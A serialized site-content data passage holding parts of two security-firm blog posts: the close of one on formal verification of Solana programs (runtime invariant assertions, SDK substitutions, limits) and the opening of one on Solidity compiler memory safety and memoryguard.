5",{"type":23,"tag":75,"props":39615,"children":39616},{"style":94},[39617],{"type":29,"value":401},{"type":23,"tag":75,"props":39619,"children":39620},{"class":77,"line":3436},[39621,39625,39629,39634,39638,39643,39647],{"type":23,"tag":75,"props":39622,"children":39623},{"style":110},[39624],{"type":29,"value":1698},{"type":23,"tag":75,"props":39626,"children":39627},{"style":209},[39628],{"type":29,"value":557},{"type":23,"tag":75,"props":39630,"children":39631},{"style":94},[39632],{"type":29,"value":39633},"my_account",{"type":23,"tag":75,"props":39635,"children":39636},{"style":209},[39637],{"type":29,"value":557},{"type":23,"tag":75,"props":39639,"children":39640},{"style":88},[39641],{"type":29,"value":39642},"put_into_bad_state",{"type":23,"tag":75,"props":39644,"children":39645},{"style":94},[39646],{"type":29,"value":4705},{"type":23,"tag":75,"props":39648,"children":39649},{"style":3621},[39650],{"type":29,"value":39651},"// corrupt our account\n",{"type":23,"tag":75,"props":39653,"children":39654},{"class":77,"line":3449},[39655],{"type":23,"tag":75,"props":39656,"children":39657},{"style":94},[39658],{"type":29,"value":346},{"type":23,"tag":75,"props":39660,"children":39661},{"class":77,"line":3457},[39662,39666],{"type":23,"tag":75,"props":39663,"children":39664},{"style":104},[39665],{"type":29,"value":1504},{"type":23,"tag":75,"props":39667,"children":39668},{"style":94},[39669],{"type":29,"value":25574},{"type":23,"tag":75,"props":39671,"children":39672},{"class":77,"line":3465},[39673],{"type":23,"tag":75,"props":39674,"children":39675},{"style":94},[39676],{"type":29,"value":369},{"type":23,"tag":32,"props":39678,"children":39679},{},[39680,39682,39687],{"type":29,"value":39681},"The integrity of the verification framework relies on the fact that the account invariants for the accounts contained in the instruction (in this case ",{"type":23,"tag":71,"props":39683,"children":39685},{"className":39684},[],[39686],{"type":29,"value":39633},{"type":29,"value":39688},") will be maintained as long as the instruction succeeds.",{"type":23,"tag":32,"props":39690,"children":39691},{},[39692],{"type":29,"value":39693},"In this case, we can't really verify if the instruction succeeds or not (at least without knowing which program/instruction will be invoked).",{"type":23,"tag":32,"props":39695,"children":39696},{},[39697,39699,39704],{"type":29,"value":39698},"However, we can ",{"type":23,"tag":9690,"props":39700,"children":39701},{},[39702],{"type":29,"value":39703},"augment",{"type":29,"value":39705}," our code with additional runtime constraints to ensure that the safety properties are preserved even if formal verification fails.",{"type":23,"tag":32,"props":39707,"children":39708},{},[39709],{"type":29,"value":39710},"In this case, we can add runtime assertions that ensure our runtime invariants hold. For example:",{"type":23,"tag":64,"props":39712,"children":39714},{"code":39713,"language":986,"meta":7,"className":987,"style":7},"...\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n\n    // Enforce invariants at runtime\n    assert(ctx.my_account.invariant());\n\n    Ok(())\n}\n",[39715],{"type":23,"tag":71,"props":39716,"children":39717},{"__ignoreMap":7},[39718,39726,39777,39800,39807,39834,39857,39888,39895,39902,39910,39945,39952,39963],{"type":23,"tag":75,"props":39719,"children":39720},{"class":77,"line":78},[39721],{"type":23,"tag":75,"props":39722,"children":39723},{"style":209},[39724],{"type":29,"value":39725},"...\n",{"type":23,"tag":75,"props":39727,"children":39728},{"class":77,"line":100},[39729,39733,39737,39741,39745,39749,39753,39757,39761,39765,39769,39773],{"type":23,"tag":75,"props":39730,"children":39731},{"style":82},[39732],{"type":29,"value":999},{"type":23,"tag":75,"props":39734,"children":39735},{"style":88},[39736],{"type":29,"value":39490},{"type":23,"tag":75,"props":39738,"children":39739},{"style":94},[39740],{"type":29,"value":643},{"type":23,"tag":75,"props":39742,"children":39743},{"style":110},[39744],{"type":29,"value":3331},{"type":23,"tag":75,"props":39746,"children":39747},{"style":209},[39748],{"type":29,"value":1018},{"type":23,"tag":75,"props":39750,"children":39751},{"style":104},[39752],{"type":29,"value":31509},{"type":23,"tag":75,"props":39754,"children":39755},{"style":94},[39756],{"type":29,"value":295},{"type":23,"tag":75,"props":39758,"children":39759},{"style":104},[39760],{"type":29,"value":39515},{"type":23,"tag":75,"props":39762,"children":39763},{"style":94},[39764],{"type":29,"value":31665},{"type":23,"tag":75,"props":39766,"children":39767},{"style":209},[39768],{"type":29,"value":1156},{"type":23,"tag":75,"props":39770,"children":39771},{"style":104},[39772],{"type":29,"value":25004},{"type":23,"tag":75,"props":39774,"children":39775},{"style":94},[39776],{"type":29,"value":31551},{"type":23,"tag":75,"props":39778,"children":39779},{"class":77,"line":121},[39780,39784,39788,39792,39796],{"type":23,"tag":75,"props":39781,"children":39782},{"style":88},[39783],{"type":29,"value":39539},{"type":23,"tag":75,"props":39785,"children":39786},{"style":94},[39787],{"type":29,"value":643},{"type":23,"tag":75,"props":39789,"children":39790},{"style":209},[39791],{"type":29,"value":9174},{"type":23,"tag":75,"props":39793,"children":39794},{"style":94},[39795],{"type":29,"value":39552},{"type":23,"tag":75,"props":39797,"children":39798},{"style":3621},[39799],{"type":29,"value":39557},{"type":23,"tag":75,"props":39801,"children":39802},{"class":77,"line":138},[39803],{"type":23,"tag":75,"props":39804,"children":39805},{"emptyLinePlaceholder":15},[39806],{"type":29,"value":276},{"type":23,"tag":75,"props":39808,"children":39809},{"class":77,"line":161},[39810,39814,39818,39822,39826,39830],{"type":23,"tag":75,"props":39811,"children":39812},{"style":82},[39813],{"type":29,"value":1183},{"type":23,"tag":75,"props":39815,"children":39816},{"style":110},[39817],{"type":29,"value":39576},{"type":23,"tag":75,"props":39819,"children":39820},{"style":209},[39821],{"type":29,"value":1193},{"type":23,"tag":75,"props":39823,"children":39824},{"style":209},[39825],{"type":29,"value":13864},{"type":23,"tag":75,"props":39827,"children":39828},{"style":94},[39829],{"type":29,"value":739},{"type":23,"tag":75,"props":39831,"children":39832},{"style":3621},[39833],{"type":29,"value":39593},{"type":23,"tag":75,"props":39835,"children":39836},{"class":77,"line":196},[39837,39841,39845,39849,39853],{"type":23,"tag":75,"props":39838,"children":39839},{"style":175},[39840],{"type":29,"value":1363},{"type":23,"tag":75,"props":39842,"children":39843},{"style":110},[39844],{"type":29,"value":39576},{"type":23,"tag":75,"props":39846,"children":39847},{"style":209},[39848],{"type":29,"value":1372},{"type":23,"tag":75,"props":39850,"children":39851},{"style":237},[39852],{"type":29,"value":39613},{"type":23,"tag":75,"props":39854,"children":39855},{"style":94},[39856],{"type":29,"value":401},{"type":23,"tag":75,"props":39858,"children":39859},{"class":77,"line":220},[39860,39864,39868,39872,39876,39880,39884],{"type":23,"tag":75,"props":39861,"children":39862},{"style":110},[39863],{"type":29,"value":1698},{"type":23,"tag":75,"props":39865,"children":39866},{"style":209},[39867],{"type":29,"value":557},{"type":23,"tag":75,"props":39869,"children":39870},{"style":94},[39871],{"type":29,"value":39633},{"type":23,"tag":75,"props":39873,"children":39874},{"style":209},[39875],{"type":29,"value":557},{"type":23,"tag":75,"props":39877,"children":39878},{"style":88},[39879],{"type":29,"value":39642},{"type":23,"tag":75,"props":39881,"children":39882},{"style":94},[39883],{"type":29,"value":4705},{"type":23,"tag":75,"props":39885,"children":39886},{"style":3621},[39887],{"type":29,"value":39651},{"type":23,"tag":75,"props":39889,"children":39890},{"class":77,"line":248},[39891],{"type":23,"tag":75,"props":39892,"children":39893},{"style":94},[39894],{"type":29,"value":346},{"type":23,"tag":75,"props":39896,"children":39897},{"class":77,"line":270},[39898],{"type":23,"tag":75,"props":39899,"children":39900},{"emptyLinePlaceholder":15},[39901],{"type":29,"value":276},{"type":23,"tag":75,"props":39903,"children":39904},{"class":77,"line":279},[39905],{"type":23,"tag":75,"props":39906,"children":39907},{"style":3621},[39908],{"type":29,"value":39909},"    // Enforce invariants at runtime\n",{"type":23,"tag":75,"props":39911,"children":39912},{"class":77,"line":303},[39913,39917,39921,39925,39929,39933,39937,39941],{"type":23,"tag":75,"props":39914,"children":39915},{"style":88},[39916],{"type":29,"value":30463},{"type":23,"tag":75,"props":39918,"children":39919},{"style":94},[39920],{"type":29,"value":643},{"type":23,"tag":75,"props":39922,"children":39923},{"style":110},[39924],{"type":29,"value":3331},{"type":23,"tag":75,"props":39926,"children":39927},{"style":209},[39928],{"type":29,"value":557},{"type":23,"tag":75,"props":39930,"children":39931},{"style":94},[39932],{"type":29,"value":39633},{"type":23,"tag":75,"props":39934,"children":39935},{"style":209},[39936],{"type":29,"value":557},{"type":23,"tag":75,"props":39938,"children":39939},{"style":88},[39940],{"type":29,"value":32993},{"type":23,"tag":75,"props":39942,"children":39943},{"style":94},[39944],{"type":29,"value":1430},{"type":23,"tag":75,"props":39946,"children":39947},{"class":77,"line":322},[39948],{"type":23,"tag":75,"props":39949,"children":39950},{"emptyLinePlaceholder":15},[39951],{"type":29,"value":276},{"type":23,"tag":75,"props":39953,"children":39954},{"class":77,"line":340},[39955,39959],{"type":23,"tag":75,"props":39956,"children":39957},{"style":104},[39958],{"type":29,"value":1504},{"type":23,"tag":75,"props":39960,"children":39961},{"style":94},[39962],{"type":29,"value":25574},{"type":23,"tag":75,"props":39964,"children":39965},{"class":77,"line":349},[39966],{"type":23,"tag":75,"props":39967,"children":39968},{"style":94},[39969],{"type":29,"value":369},{"type":23,"tag":32,"props":39971,"children":39972},{},[39973,39975,39980,39982,39987,39989,39994],{"type":29,"value":39974},"Here, we explicitly ",{"type":23,"tag":71,"props":39976,"children":39978},{"className":39977},[],[39979],{"type":29,"value":31206},{"type":29,"value":39981}," that our invariants hold at ",{"type":23,"tag":9690,"props":39983,"children":39984},{},[39985],{"type":29,"value":39986},"runtime",{"type":29,"value":39988}," which allows us to be assured that ",{"type":23,"tag":71,"props":39990,"children":39992},{"className":39991},[],[39993],{"type":29,"value":39633},{"type":29,"value":39995}," will not enter a bad state as a result of some unverifiable behavior.",{"type":23,"tag":32,"props":39997,"children":39998},{},[39999],{"type":29,"value":40000},"In general techniques like this can be used to tidy up the loose ends that formal verification may struggle with.",{"type":23,"tag":24,"props":40002,"children":40004},{"id":40003},"challenges-of-formal-verification-on-solana",[40005],{"type":29,"value":40006},"Challenges of formal verification on Solana",{"type":23,"tag":923,"props":40008,"children":40010},{"id":40009},"expensive-computation",[40011],{"type":29,"value":40012},"Expensive computation",{"type":23,"tag":32,"props":40014,"children":40015},{},[40016,40018,40023],{"type":29,"value":40017},"As we started exploring this project, we were hoping to see it work straight out of the box. Unfortunately, that was not the case. Harkening back to our friend ",{"type":23,"tag":9690,"props":40019,"children":40020},{},[40021],{"type":29,"value":40022},"path explosion",{"type":29,"value":40024},", it is often the case that bounded model checking just grinds and grinds on the problem and is not able to produce a solution.",{"type":23,"tag":32,"props":40026,"children":40027},{},[40028,40030,40035],{"type":29,"value":40029},"In order to make this technique more widely applicable, we've been developing a runtime SDK layer that is more ",{"type":23,"tag":9690,"props":40031,"children":40032},{},[40033],{"type":29,"value":40034},"formal verification friendly",{"type":29,"value":40036},". Specifically our tool will replace certain built-in SDK functions and structures with less expensive ones in the context of symbolic execution.",{"type":23,"tag":32,"props":40038,"children":40039},{},[40040,40042,40047,40049,40054],{"type":29,"value":40041},"For example, when verifying things like the uniqueness of a ",{"type":23,"tag":71,"props":40043,"children":40045},{"className":40044},[],[40046],{"type":29,"value":32613},{"type":29,"value":40048}," in a ",{"type":23,"tag":71,"props":40050,"children":40052},{"className":40051},[],[40053],{"type":29,"value":28434},{"type":29,"value":40055},", the native program may generate extremely large SMT expressions containing nested 32-byte comparisons and binary searches on a vector.",{"type":23,"tag":32,"props":40057,"children":40058},{},[40059,40061,40066,40068,40073,40075,40080,40082,40087,40089,40094,40096,40101],{"type":29,"value":40060},"However, in most cases the properties we are interested in do not require specific search algorithms for the ",{"type":23,"tag":71,"props":40062,"children":40064},{"className":40063},[],[40065],{"type":29,"value":28434},{"type":29,"value":40067}," or a 32-byte ",{"type":23,"tag":71,"props":40069,"children":40071},{"className":40070},[],[40072],{"type":29,"value":32613},{"type":29,"value":40074},". Instead, our tool can substitute in ",{"type":23,"tag":9690,"props":40076,"children":40077},{},[40078],{"type":29,"value":40079},"cheaper",{"type":29,"value":40081}," types and functions, such as a 4-byte ",{"type":23,"tag":71,"props":40083,"children":40085},{"className":40084},[],[40086],{"type":29,"value":32613},{"type":29,"value":40088}," struct and a fixed-size, array-backed ",{"type":23,"tag":71,"props":40090,"children":40092},{"className":40091},[],[40093],{"type":29,"value":28434},{"type":29,"value":40095}," implementation. These structures are API-compatible with the native SDK and the changes are functionally invisible to the Solana program we are verifying. However, the generated expressions are ",{"type":23,"tag":9690,"props":40097,"children":40098},{},[40099],{"type":29,"value":40100},"much",{"type":29,"value":40102}," simpler and we find that these techniques can greatly accelerate the speed of model-checking.",{"type":23,"tag":32,"props":40104,"children":40105},{},[40106],{"type":29,"value":40107},"It is of key importance that these SDK modifications do not introduce any unsoundness into the model-checking process. We are actively exploring how to do this effectively.",{"type":23,"tag":923,"props":40109,"children":40111},{"id":40110},"runtime-environment",[40112],{"type":29,"value":40113},"Runtime Environment",{"type":23,"tag":32,"props":40115,"children":40116},{},[40117],{"type":29,"value":40118},"While these techniques are quite capable of verifying pure-Rust constructs such as the logical flow of the program, use of Rust types, etc... other aspects of the Solana runtime environment are more difficult to verify.",{"type":23,"tag":32,"props":40120,"children":40121},{},[40122],{"type":29,"value":40123},"For example, a program may resize accounts to store variable amounts of data. These types of custom serialization algorithms require specialized techniques to verify account invariants. For example, a bug with account serialization could undermine \"correct\" account logic.",{"type":23,"tag":32,"props":40125,"children":40126},{},[40127],{"type":29,"value":40128},"Another example is cross-program invocation (CPI). While account data cannot be changed by other programs, when you invoke other instructions it becomes more difficult to verify instruction invariants. An instruction three levels down could fail and cause the whole transaction to revert.",{"type":23,"tag":24,"props":40130,"children":40131},{"id":14115},[40132],{"type":29,"value":14118},{"type":23,"tag":32,"props":40134,"children":40135},{},[40136],{"type":29,"value":40137},"Computer security is far from being a solved problem. Formal verification is a great technique but it is not a magic bullet. While it can help you verify the correctness of your program it won't catch 100% of the bugs. It won't stop you from specifying the wrong invariants or forgetting things, and it can't help you if there is a bug outside of the scope of the model — for example in the runtime or consensus layer.",{"type":23,"tag":32,"props":40139,"children":40140},{},[40141],{"type":29,"value":40142},"Disclaimer out of the way, we believe that formal verification can still be a very useful tool when applied correctly. We've demonstrated that it is possible to automatically prove invariants about Solana programs in a tractable and user-friendly way.",{"type":23,"tag":30016,"props":40144,"children":40145},{},[],{"type":23,"tag":32,"props":40147,"children":40148},{},[40149],{"type":23,"tag":9690,"props":40150,"children":40151},{},[40152,40154,40159,40160,40164],{"type":29,"value":40153},"We're excited to keep pushing this research forward and enhance the security of the whole Solana ecosystem. Our tools are still in development but we're interested in working with other teams. If you have a Solana program you want to get formally verified, give us a shout! Fill out ",{"type":23,"tag":940,"props":40155,"children":40157},{"href":30099,"rel":40156},[944],[40158],{"type":29,"value":30103},{"type":29,"value":30105},{"type":23,"tag":940,"props":40161,"children":40162},{"href":30108},[40163],{"type":29,"value":30111},{"type":29,"value":557},{"type":23,"tag":14130,"props":40166,"children":40167},{},[40168],{"type":29,"value":14134},{"title":7,"searchDepth":100,"depth":100,"links":40170},[40171,40177,40181,40186,40192,40196],{"id":30173,"depth":100,"text":30176,"children":40172},[40173,40174,40175,40176],{"id":30179,"depth":121,"text":30182},{"id":30247,"depth":121,"text":30250},{"id":31126,"depth":121,"text":31129},{"id":31166,"depth":121,"text":31169},{"id":31219,"depth":100,"text":40178,"children":40179},"Specification: How can we describe what we want our program to do?",[40180],{"id":31333,"depth":121,"text":31336},{"id":32685,"depth":100,"text":32688,"children":40182},[40183,40184,40185],{"id":33361,"depth":121,"text":33364},{"id":33646,"depth":121,"text":33649},{"id":33790,"depth":121,"text":33793},{"id":33931,"depth":100,"text":33934,"children":40187},[40188,40189,40190,40191],{"id":34002,"depth":121,"text":34005},{"id":35843,"depth":121,"text":35846},{"id":36642,"depth":121,"text":33994},{"id":39164,"depth":121,"text":33999},{"id":40003,"depth":100,"text":40006,"children":40193},[40194,40195],{"id":40009,"depth":121,"text":40012},{"id":40110,"depth":121,"text":40113},{"id":14115,"depth":100,"text":14118},"content:blog:2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs",{"_path":40201,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":40202,"description":40203,"author":16991,"image":40204,"date":40206,"isFeatured":15,"onBlogPage":15,"tags":40207,"body":40209,"_type":14157,"_id":41625,"_source":14159,"_file":41626,"_stem":41627,"_extension":14162},"/blog/2023-07-28-solidity-compilers-memory-safety","Solidity Compilers: Memory Safety","An exploration into the Solidity compilation pipeline, optimization assumptions, and how it all relates back to memory-safe assembly.",{"src":40205,"height":14,"width":14},"/posts/solidity-compilers-memory-safety/header.jpg","2023-07-28",[67,40208],"compiler",{"type":20,"children":40210,"toc":41616},[40211,40215,40251,40263,40269,40291,40304,40452,40473,40478,40499,40504,40512,40517,40522,40527,40533,40552,40557,40578,40641,40654,40684,40704,40731,40736,40749,40754,40759,40772,40803,40826,40979,40997,41048,41067,41092,41097,41103,41130,41150,41178,41183,41205,41224,41232,41243,41248,41264,41520,41528,41533,41537,41542,41547,41612],{"type":23,"tag":24,"props":40212,"children":40213},{"id":26},[40214],{"type":29,"value":30},{"type":23,"tag":32,"props":40216,"children":40217},{},[40218,40220,40226,40227,40231,40233,40240,40242,40249],{"type":29,"value":40219},"What does ",{"type":23,"tag":71,"props":40221,"children":40223},{"className":40222},[],[40224],{"type":29,"value":40225},"memory-safe",{"type":29,"value":949},{"type":23,"tag":9690,"props":40228,"children":40229},{},[40230],{"type":29,"value":20539},{"type":29,"value":40232}," mean? What guarantees does Solidity expose when you're dealing with inline assembly? The documentation ",{"type":23,"tag":940,"props":40234,"children":40237},{"href":40235,"rel":40236},"https://docs.soliditylang.org/en/v0.8.20/assembly.html#memory-safety",[944],[40238],{"type":29,"value":40239},"presents some requirements",{"type":29,"value":40241},", but is production code that ",{"type":23,"tag":940,"props":40243,"children":40246},{"href":40244,"rel":40245},"https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L165-L166",[944],[40247],{"type":29,"value":40248},"violates these requirements",{"type":29,"value":40250}," necessarily unsafe?",{"type":23,"tag":32,"props":40252,"children":40253},{},[40254,40256,40261],{"type":29,"value":40255},"In this blog post, we present a high-level overview of the Solidity compiler. We'll also dive into the optimization pipeline, language lawyering, and present an argument for what ",{"type":23,"tag":9690,"props":40257,"children":40258},{},[40259],{"type":29,"value":40260},"memory-safety",{"type":29,"value":40262}," actually means.",{"type":23,"tag":24,"props":40264,"children":40266},{"id":40265},"compiler-pipeline",[40267],{"type":29,"value":40268},"Compiler Pipeline",{"type":23,"tag":32,"props":40270,"children":40271},{},[40272,40274,40281,40283,40290],{"type":29,"value":40273},"For brevity's sake, we'll only cover the YUL IR Solidity compilation pipeline ",{"type":23,"tag":940,"props":40275,"children":40278},{"href":40276,"rel":40277},"https://blog.soliditylang.org/2022/03/16/solidity-0.8.13-release-announcement/",[944],[40279],{"type":29,"value":40280},"released in v0.8.13",{"type":29,"value":40282},". Compilation happens ",{"type":23,"tag":940,"props":40284,"children":40287},{"href":40285,"rel":40286},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libsolidity/interface/CompilerStack.cpp#L684",[944],[40288],{"type":29,"value":40289},"in two main steps",{"type":29,"value":1018},{"type":23,"tag":2797,"props":40292,"children":40293},{},[40294,40299],{"type":23,"tag":2801,"props":40295,"children":40296},{},[40297],{"type":29,"value":40298},"Solidity to YUL IR",{"type":23,"tag":2801,"props":40300,"children":40301},{},[40302],{"type":29,"value":40303},"YUL IR to EVM opcodes",{"type":23,"tag":64,"props":40305,"children":40309},{"className":40306,"code":40307,"language":40308,"meta":7,"style":7},"language-cpp shiki shiki-themes slack-dark","    if (m_viaIR || m_generateIR || m_generateEwasm)\n        generateIR(*contract);\n    if (m_generateEvmBytecode)\n    {\n        if (m_viaIR)\n            generateEVMFromIR(*contract);\n        else\n            compileContract(*contract, otherCompilers);\n    }\n","cpp",[40310],{"type":23,"tag":71,"props":40311,"children":40312},{"__ignoreMap":7},[40313,40343,40364,40376,40384,40396,40416,40424,40445],{"type":23,"tag":75,"props":40314,"children":40315},{"class":77,"line":78},[40316,40320,40325,40329,40334,40338],{"type":23,"tag":75,"props":40317,"children":40318},{"style":175},[40319],{"type":29,"value":1363},{"type":23,"tag":75,"props":40321,"children":40322},{"style":94},[40323],{"type":29,"value":40324}," (m_viaIR ",{"type":23,"tag":75,"props":40326,"children":40327},{"style":209},[40328],{"type":29,"value":33633},{"type":23,"tag":75,"props":40330,"children":40331},{"style":94},[40332],{"type":29,"value":40333}," m_generateIR ",{"type":23,"tag":75,"props":40335,"children":40336},{"style":209},[40337],{"type":29,"value":33633},{"type":23,"tag":75,"props":40339,"children":40340},{"style":94},[40341],{"type":29,"value":40342}," m_generateEwasm)\n",{"type":23,"tag":75,"props":40344,"children":40345},{"class":77,"line":100},[40346,40351,40355,40359],{"type":23,"tag":75,"props":40347,"children":40348},{"style":88},[40349],{"type":29,"value":40350},"        generateIR",{"type":23,"tag":75,"props":40352,"children":40353},{"style":94},[40354],{"type":29,"value":643},{"type":23,"tag":75,"props":40356,"children":40357},{"style":209},[40358],{"type":29,"value":601},{"type":23,"tag":75,"props":40360,"children":40361},{"style":94},[40362],{"type":29,"value":40363},"contract);\n",{"type":23,"tag":75,"props":40365,"children":40366},{"class":77,"line":121},[40367,40371],{"type":23,"tag":75,"props":40368,"children":40369},{"style":175},[40370],{"type":29,"value":1363},{"type":23,"tag":75,"props":40372,"children":40373},{"style":94},[40374],{"type":29,"value":40375}," (m_generateEvmBytecode)\n",{"type":23,"tag":75,"props":40377,"children":40378},{"class":77,"line":138},[40379],{"type":23,"tag":75,"props":40380,"children":40381},{"style":94},[40382],{"type":29,"value":40383},"    {\n",{"type":23,"tag":75,"props":40385,"children":40386},{"class":77,"line":161},[40387,40391],{"type":23,"tag":75,"props":40388,"children":40389},{"style":175},[40390],{"type":29,"value":2445},{"type":23,"tag":75,"props":40392,"children":40393},{"style":94},[40394],{"type":29,"value":40395}," (m_viaIR)\n",{"type":23,"tag":75,"props":40397,"children":40398},{"class":77,"line":196},[40399,40404,40408,40412],{"type":23,"tag":75,"props":40400,"children":40401},{"style":88},[40402],{"type":29,"value":40403},"            generateEVMFromIR",{"type":23,"tag":75,"props":40405,"children":40406},{"style":94},[40407],{"type":29,"value":643},{"type":23,"tag":75,"props":40409,"children":40410},{"style":209},[40411],{"type":29,"value":601},{"type":23,"tag":75,"props":40413,"children":40414},{"style":94},[40415],{"type":29,"value":40363},{"type":23,"tag":75,"props":40417,"children":40418},{"class":77,"line":220},[40419],{"type":23,"tag":75,"props":40420,"children":40421},{"style":175},[40422],{"type":29,"value":40423},"        else\n",{"type":23,"tag":75,"props":40425,"children":40426},{"class":77,"line":248},[40427,40432,40436,40440],{"type":23,"tag":75,"props":40428,"children":40429},{"style":88},[40430],{"type":29,"value":40431},"            compileContract",{"type":23,"tag":75,"props":40433,"children":40434},{"style":94},[40435],{"type":29,"value":643},{"type":23,"tag":75,"props":40437,"children":40438},{"style":209},[40439],{"type":29,"value":601},{"type":23,"tag":75,"props":40441,"children":40442},{"style":94},[40443],{"type":29,"value":40444},"contract, otherCompilers);\n",{"type":23,"tag":75,"props":40446,"children":40447},{"class":77,"line":270},[40448],{"type":23,"tag":75,"props":40449,"children":40450},{"style":94},[40451],{"type":29,"value":346},{"type":23,"tag":32,"props":40453,"children":40454},{},[40455,40457,40464,40465,40472],{"type":29,"value":40456},"Each step applies its own set of optimizations. The entrypoints are located at ",{"type":23,"tag":940,"props":40458,"children":40461},{"href":40459,"rel":40460},"https://github.com/ethereum/solidity/blob/fd9ac9abed2049a4b8134d39e178275c8aad75b6/libyul/YulStack.cpp#L92",[944],[40462],{"type":29,"value":40463},"YulStack::optimize",{"type":29,"value":2721},{"type":23,"tag":940,"props":40466,"children":40469},{"href":40467,"rel":40468},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libevmasm/Assembly.cpp#L336",[944],[40470],{"type":29,"value":40471},"Assembly::optimize",{"type":29,"value":557},{"type":23,"tag":32,"props":40474,"children":40475},{},[40476],{"type":29,"value":40477},"In total, there are four steps.",{"type":23,"tag":2797,"props":40479,"children":40480},{},[40481,40485,40490,40494],{"type":23,"tag":2801,"props":40482,"children":40483},{},[40484],{"type":29,"value":40298},{"type":23,"tag":2801,"props":40486,"children":40487},{},[40488],{"type":29,"value":40489},"Optimization of YUL IR",{"type":23,"tag":2801,"props":40491,"children":40492},{},[40493],{"type":29,"value":40303},{"type":23,"tag":2801,"props":40495,"children":40496},{},[40497],{"type":29,"value":40498},"Optimization of EVM opcodes",{"type":23,"tag":32,"props":40500,"children":40501},{},[40502],{"type":29,"value":40503},"As mentioned in the v0.8.13 release post, the YUL optimizer is able to perform much more complex optimizations. Compared to Solidity, YUL contains detailed semantic information and is simpler for optimization passes to reason about than opcodes.",{"type":23,"tag":1829,"props":40505,"children":40506},{},[40507],{"type":23,"tag":32,"props":40508,"children":40509},{},[40510],{"type":29,"value":40511},"The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions, so please try it out and give us feedback!",{"type":23,"tag":32,"props":40513,"children":40514},{},[40515],{"type":29,"value":40516},"Importantly, each step happens in isolation and retains no information about the previous stage.",{"type":23,"tag":32,"props":40518,"children":40519},{},[40520],{"type":29,"value":40521},"The optimizer cannot change the behavior of the generated IR. This means we don't need to worry about potentially tricky optimizations such as reordering of functions, removal of unused assigns, or moving stack variables to memory.",{"type":23,"tag":32,"props":40523,"children":40524},{},[40525],{"type":29,"value":40526},"When it comes to safety, we need only to consider the IR generation. But what exactly are the guarantees here?",{"type":23,"tag":24,"props":40528,"children":40530},{"id":40529},"guarantees",[40531],{"type":29,"value":40532},"Guarantees",{"type":23,"tag":32,"props":40534,"children":40535},{},[40536,40537,40544,40546,40551],{"type":29,"value":2846},{"type":23,"tag":940,"props":40538,"children":40541},{"href":40539,"rel":40540},"https://docs.soliditylang.org/en/v0.8.20/internals/layout_in_memory.html",[944],[40542],{"type":29,"value":40543},"Solidity memory layout",{"type":29,"value":40545}," exists only at the time of YUL IR generation. The YUL optimizer and later steps has ",{"type":23,"tag":9690,"props":40547,"children":40548},{},[40549],{"type":29,"value":40550},"no information about this layout",{"type":29,"value":557},{"type":23,"tag":32,"props":40553,"children":40554},{},[40555],{"type":29,"value":40556},"What if the optimizer wants to use memory for optimization passes? How does it know what slots are used by the IR generator?",{"type":23,"tag":32,"props":40558,"children":40559},{},[40560,40562,40568,40570,40576],{"type":29,"value":40561},"Introducing ",{"type":23,"tag":71,"props":40563,"children":40565},{"className":40564},[],[40566],{"type":29,"value":40567},"memoryguard",{"type":29,"value":40569},". If you've ever looked at the output of ",{"type":23,"tag":71,"props":40571,"children":40573},{"className":40572},[],[40574],{"type":29,"value":40575},"solc --ir",{"type":29,"value":40577},", this call may be familiar. It's used to initialize the free-memory pointer.",{"type":23,"tag":64,"props":40579,"children":40581},{"className":68,"code":40580,"language":67,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    store(64, memoryguard(0x80))\n",[40582],{"type":23,"tag":71,"props":40583,"children":40584},{"__ignoreMap":7},[40585,40603],{"type":23,"tag":75,"props":40586,"children":40587},{"class":77,"line":78},[40588,40593,40598],{"type":23,"tag":75,"props":40589,"children":40590},{"style":3621},[40591],{"type":29,"value":40592},"    /// @src 0:26:371  \"contract ",{"type":23,"tag":75,"props":40594,"children":40595},{"style":82},[40596],{"type":29,"value":40597},"XXX",{"type":23,"tag":75,"props":40599,"children":40600},{"style":3621},[40601],{"type":29,"value":40602}," {...\"\n",{"type":23,"tag":75,"props":40604,"children":40605},{"class":77,"line":100},[40606,40611,40615,40620,40624,40628,40632,40637],{"type":23,"tag":75,"props":40607,"children":40608},{"style":88},[40609],{"type":29,"value":40610},"    store",{"type":23,"tag":75,"props":40612,"children":40613},{"style":94},[40614],{"type":29,"value":643},{"type":23,"tag":75,"props":40616,"children":40617},{"style":237},[40618],{"type":29,"value":40619},"64",{"type":23,"tag":75,"props":40621,"children":40622},{"style":94},[40623],{"type":29,"value":611},{"type":23,"tag":75,"props":40625,"children":40626},{"style":88},[40627],{"type":29,"value":40567},{"type":23,"tag":75,"props":40629,"children":40630},{"style":94},[40631],{"type":29,"value":643},{"type":23,"tag":75,"props":40633,"children":40634},{"style":237},[40635],{"type":29,"value":40636},"0x80",{"type":23,"tag":75,"props":40638,"children":40639},{"style":94},[40640],{"type":29,"value":702},{"type":23,"tag":32,"props":40642,"children":40643},{},[40644,40646,40653],{"type":29,"value":40645},"From ",{"type":23,"tag":940,"props":40647,"children":40650},{"href":40648,"rel":40649},"https://solidity.readthedocs.io/en/latest/yul.html#memoryguard",[944],[40651],{"type":29,"value":40652},"the documentation",{"type":29,"value":15398},{"type":23,"tag":1829,"props":40655,"children":40656},{},[40657],{"type":23,"tag":32,"props":40658,"children":40659},{},[40660,40662,40668,40670,40676,40678,40683],{"type":29,"value":40661},"The caller of ",{"type":23,"tag":71,"props":40663,"children":40665},{"className":40664},[],[40666],{"type":29,"value":40667},"let ptr := memoryguard(size)",{"type":29,"value":40669}," (where size has to be a literal number) promises that they only use memory in either the range ",{"type":23,"tag":71,"props":40671,"children":40673},{"className":40672},[],[40674],{"type":29,"value":40675},"[0, size)",{"type":29,"value":40677}," or the unbounded range starting at 